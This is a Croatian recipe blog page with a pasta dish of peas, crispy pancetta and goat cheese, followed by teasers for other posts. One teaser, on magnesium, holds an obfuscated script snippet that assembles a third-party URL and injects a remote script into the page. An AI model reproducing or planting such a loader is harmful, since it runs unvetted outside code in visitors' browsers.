TJESTENINA S GRAŠKOM, PANCETOM I SIROM




Tjestenina s graškom, pancetom i sirom




Ova kremasta tjestenina s graškom, hrskavom pancetom i svježim kozjim sirom pravo je proljeća na tanjuru. Kombinacija slatkastog graška, slane pancete i nježno kiselkastog sira daje bogat, ali uravnotežen okus koji će zadovoljiti i najzahtjevnija nepca.





Tjestenina s graškom, pancetom i sirom 


Sastojci:

  • 450 g tjestenine, npr. penne
  • 140 g pancete, narezane na kockice
  • 3 češnja češnjaka, sitno nasjeckana
  • 2 žlice maslaca
  • 2 žlice glatkog brašna
  • 480 ml punomasnog mlijeka
  • 115 g kozjeg sira, izmrvljenog
  • 1 čajna žličica morske soli
  • 200 g smrznutog graška, odmrznutog
  • 15 g svježeg vlasca, nasjeckanog
  • svježe mljeveni crni papar, po ukusu




Priprema:


  1. U velikom loncu zakuhajte posoljenu vodu i skuhajte tjesteninu prema uputama na pakiranju dok ne bude al dente. Ocijedite i ostavite sa strane.
  2. U velikoj tavi zagrijanoj na srednje jakoj vatri popržite pancetu uz povremeno miješanje dok ne postane zlatno-smeđa i hrskava, oko 5 minuta. Izvadite je šupljom žlicom na tanjur obložen papirnatim ubrusom.
  3. U istoj tavi otopite maslac. Kad zapjeni, dodajte češnjak i kratko pirjajte dok ne zamiriše, oko 1 minutu.
  4. Umiješajte brašno i miješajte pjenjačom oko 1 minute dok ne dobijete glatku pastu (zapršku).
  5. Polako ulijevajte mlijeko uz stalno miješanje kako biste dobili glatki, kremasti umak bez grudica. Kuhajte na srednje jakoj vatri dok lagano ne zakipi, zatim smanjite vatru i kuhajte još oko 5 minuta dok se umak ne zgusne toliko da oblaže poleđinu žlice.
  6. U umak dodajte polovicu kozjeg sira i sol te miješajte dok se sir ne otopi i poveže s umakom.
  7. U lonac s tjesteninom dodajte pripremljeni umak, grašak i pancetu. Sve dobro promiješajte da se sastojci ravnomjerno rasporede.
  8. Poslužite u zdjelama, pospite ostatkom kozjeg sira, svježim vlascem i svježe mljevenim paprom.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više